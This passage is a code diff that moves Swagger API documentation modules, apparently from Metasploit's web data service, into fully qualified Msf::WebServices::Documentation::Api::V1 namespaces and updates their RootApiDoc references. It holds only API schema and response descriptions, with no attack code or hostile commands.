property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :workspace, type: :string, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, description: HOST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::HOST_EXAMPLE
property :service, '$ref': :Service
property :ltype, type: :string, description: LTYPE_DESC, example: LTYPE_EXAMPLE, required: true
property :path, type: :string, description: CREATE_PATH_DESC, example: CREATE_PATH_EXAMPLE, required: true
@@ -100,7 +100,7 @@ module LootApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Loot
@@ -109,14 +109,14 @@ module LootApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -143,14 +143,14 @@ module LootApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -183,14 +183,14 @@ module LootApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -210,7 +210,7 @@ module LootApiDoc
key :description, 'The updated attributes to overwrite to the loot.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :workspace, type: :string, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
property :service_id, type: :integer, format: :int32, description: SERVICE_ID_DESC
property :ltype, type: :string, description: LTYPE_DESC, example: LTYPE_EXAMPLE, required: true
@@ -222,7 +222,7 @@ module LootApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Loot
@@ -231,14 +231,14 @@ module LootApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module ModuleSearchApiDoc
module Msf::WebServices::Documentation::Api::V1::ModuleSearchApiDoc
include Swagger::Blocks
AKA_DESC = 'Filter modules with a matching AKA name.'
@@ -168,14 +168,14 @@ module ModuleSearchApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module MsfApiDoc
module Msf::WebServices::Documentation::Api::V1::MsfApiDoc
include Swagger::Blocks
swagger_path '/api/v1/msf/version' do
@@ -19,14 +19,14 @@ module MsfApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module NmapApiDoc
module Msf::WebServices::Documentation::Api::V1::NmapApiDoc
include Swagger::Blocks
swagger_path '/api/v1/nmaps' do
@@ -14,7 +14,7 @@ module NmapApiDoc
key :name, :body
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :workspace, type: :string, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_EXAMPLE
property :filename, type: :string, required: true, description: 'The name of the file you are uploading.'
property :data, type: :string, required: true, description: 'The Base64 encoded contents of the Nmap XML file.'
end
@@ -30,14 +30,14 @@ module NmapApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module NoteApiDoc
module Msf::WebServices::Documentation::Api::V1::NoteApiDoc
include Swagger::Blocks
NTYPE_DESC = 'The type of note this is.'
@@ -16,17 +16,17 @@ module NoteApiDoc
# Swagger documentation for notes model
swagger_schema :Note do
key :required, [:ntype]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :ntype, type: :string, description: NTYPE_DESC, example: NTYPE_EXAMPLE
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :workspace_id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_ID_DESC
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
property :service_id, type: :integer, format: :int32, description: SERVICE_ID_DESC
property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC
property :critical, type: :boolean, description: CRITICAL_DESC
property :seen, type: :boolean, description: SEEN_DESC
property :data, type: :string, description: DATA_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/notes' do
@@ -50,14 +50,14 @@ module NoteApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -76,8 +76,8 @@ module NoteApiDoc
key :required, true
schema do
property :ntype, type: :string, description: NTYPE_DESC, example: NTYPE_EXAMPLE, required: true
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :integer, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :workspace, type: :string, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :integer, format: :ipv4, description: HOST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::HOST_EXAMPLE
property :critical, type: :boolean, description: CRITICAL_DESC
property :seen, type: :boolean, description: SEEN_DESC
property :data, type: :string, description: DATA_DESC
@@ -85,7 +85,7 @@ module NoteApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Note
@@ -94,14 +94,14 @@ module NoteApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -128,14 +128,14 @@ module NoteApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -168,14 +168,14 @@ module NoteApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -200,7 +200,7 @@ module NoteApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Note
@@ -209,14 +209,14 @@ module NoteApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module PayloadApiDoc
module Msf::WebServices::Documentation::Api::V1::PayloadApiDoc
include Swagger::Blocks
NAME_DESC = 'A name for the payload.'
@@ -24,8 +24,8 @@ module PayloadApiDoc
# Swagger documentation for payloads model
swagger_schema :Payload do
key :required, [:ntype]
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :workspace, type: :string, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_EXAMPLE
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :name, type: :string, description: NAME_DESC
property :uuid, type: :string, description: UUID_DESC, example: UUID_EXAMPLE
property :timestamp, type: :integer, description: TIMESTAMP_DESC, example: TIMESTAMP_EXAMPLE
@@ -36,8 +36,8 @@ module PayloadApiDoc
property :raw_payload, type: :string, description: RAW_PAYLOAD_DESC
property :raw_payload_hash, type: :string, description: RAW_PAYLOAD_HASH_DESC
property :build_opts, type: :string, description: BUILD_OPTS_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/payloads' do
@@ -61,14 +61,14 @@ module PayloadApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -101,7 +101,7 @@ module PayloadApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Payload
@@ -110,14 +110,14 @@ module PayloadApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -144,14 +144,14 @@ module PayloadApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -184,14 +184,14 @@ module PayloadApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -216,7 +216,7 @@ module PayloadApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Payload
@@ -225,14 +225,14 @@ module PayloadApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module RootApiDoc
module Msf::WebServices::Documentation::Api::V1::RootApiDoc
include Swagger::Blocks
ID_DESC = 'The primary key used to identify this object in the database.'
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module ServiceApiDoc
module Msf::WebServices::Documentation::Api::V1::ServiceApiDoc
include Swagger::Blocks
HOST_DESC = 'The host where this service is running.'
@@ -19,15 +19,15 @@ module ServiceApiDoc
# Swagger documentation for Service model
swagger_schema :Service do
key :required, [:id, :port, :proto]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
property :port, type: :string, description: PORT_DESC, example: PORT_EXAMPLE
property :proto, type: :string, description: PROTO_DESC, enum: PROTO_ENUM
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
property :state, type: :string, description: STATE_DESC, enum: STATE_ENUM
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/services' do
@@ -51,14 +51,14 @@ module ServiceApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -76,8 +76,8 @@ module ServiceApiDoc
key :description, 'The attributes to assign to the service.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :workspace, type: :string, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::HOST_EXAMPLE
property :port, type: :string, required: true, description: PORT_DESC, example: PORT_EXAMPLE
property :proto, type: :string, required: true, description: PROTO_DESC, enum: PROTO_ENUM
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
@@ -87,7 +87,7 @@ module ServiceApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Service
@@ -96,14 +96,14 @@ module ServiceApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -130,14 +130,14 @@ module ServiceApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -171,14 +171,14 @@ module ServiceApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -203,7 +203,7 @@ module ServiceApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Service
@@ -212,14 +212,14 @@ module ServiceApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module SessionApiDoc
module Msf::WebServices::Documentation::Api::V1::SessionApiDoc
include Swagger::Blocks
# Swagger documentation for sessions model
@@ -42,14 +42,14 @@ module SessionApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -76,7 +76,7 @@ module SessionApiDoc
# end
#
# response 200 do
# key :description, RootApiDoc::DEFAULT_RESPONSE_200
# key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
# schema do
# key :type, :object
# key :'$ref', :Session
@@ -110,14 +110,14 @@ module SessionApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module SessionEventApiDoc
module Msf::WebServices::Documentation::Api::V1::SessionEventApiDoc
include Swagger::Blocks
SESSION_ID_DESC = 'The ID of the session record that caused this event.'
@@ -16,14 +16,14 @@ module SessionEventApiDoc
# Swagger documentation for session events model
swagger_schema :SessionEvent do
key :required, [:etype, :session_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC
property :etype, type: :string, description: ETYPE_DESC, enum: ETYPE_ENUM
property :command, type: :string, description: COMMAND_DESC
property :output, type: :string, description: OUTPUT_DESC
property :local_path, type: :string, description: LOCAL_PATH_DESC, example: LOCAL_PATH_EXAMPLE
property :remote_path, type: :string, description: REMOTE_PATH_DESC, example: REMOTE_PATH_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
end
swagger_path '/api/v1/session-events' do
@@ -35,8 +35,8 @@ module SessionEventApiDoc
parameter do
key :name, :limit
key :in, :query
key :description, RootApiDoc::LIMIT_DESC
key :example, RootApiDoc::LIMIT_DEFAULT
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::LIMIT_DESC
key :example, Msf::WebServices::Documentation::Api::V1::RootApiDoc::LIMIT_DEFAULT
key :type, :integer
key :format, :int32
key :required, false
@@ -45,8 +45,8 @@ module SessionEventApiDoc
parameter do
key :name, :offset
key :in, :query
key :description, RootApiDoc::OFFSET_DESC
key :example, RootApiDoc::OFFSET_DEFAULT
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::OFFSET_DESC
key :example, Msf::WebServices::Documentation::Api::V1::RootApiDoc::OFFSET_DEFAULT
key :type, :integer
key :format, :int32
key :required, false
@@ -55,10 +55,10 @@ module SessionEventApiDoc
parameter do
key :name, :order
key :in, :query
key :description, RootApiDoc::ORDER_DESC
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::ORDER_DESC
key :type, :string
key :required, false
key :enum, RootApiDoc::ORDER_ENUM
key :enum, Msf::WebServices::Documentation::Api::V1::RootApiDoc::ORDER_ENUM
end
response 200 do
@@ -74,14 +74,14 @@ module SessionEventApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -109,7 +109,7 @@ module SessionEventApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :SessionEvent
@@ -118,14 +118,14 @@ module SessionEventApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -158,14 +158,14 @@ module SessionEventApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module UserApiDoc
module Msf::WebServices::Documentation::Api::V1::UserApiDoc
include Swagger::Blocks
USERNAME_DESC = 'The username of the user.'
@@ -29,13 +29,13 @@ module UserApiDoc
# Swagger documentation for User model
swagger_schema :User do
key :required, [:username, :password]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :crypted_password, type: :string, description: CRYPTED_PASSWORD_DESC, example: CRYPTED_PASSWORD_EXAMPLE
property :password_salt, type: :string, description: PASSWORD_SALT_DESC
property :persistence_token, type: :string, description: PERSISTENCE_TOKEN_DESC, example: PERSISTENCE_TOKEN_EXAMPLE
property :created_at, type: :string, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
property :fullname, type: :string, description: FULLNAME_DESC, example: FULLNAME_EXAMPLE
property :email, type: :string, description: EMAIL_DESC, example: EMAIL_EXAMPLE
property :phone, type: :string, description: PHONE_DESC, example: PHONE_EXAMPLE
@@ -63,14 +63,14 @@ module UserApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -99,7 +99,7 @@ module UserApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :type, :array
@@ -111,14 +111,14 @@ module UserApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module VulnApiDoc
module Msf::WebServices::Documentation::Api::V1::VulnApiDoc
include Swagger::Blocks
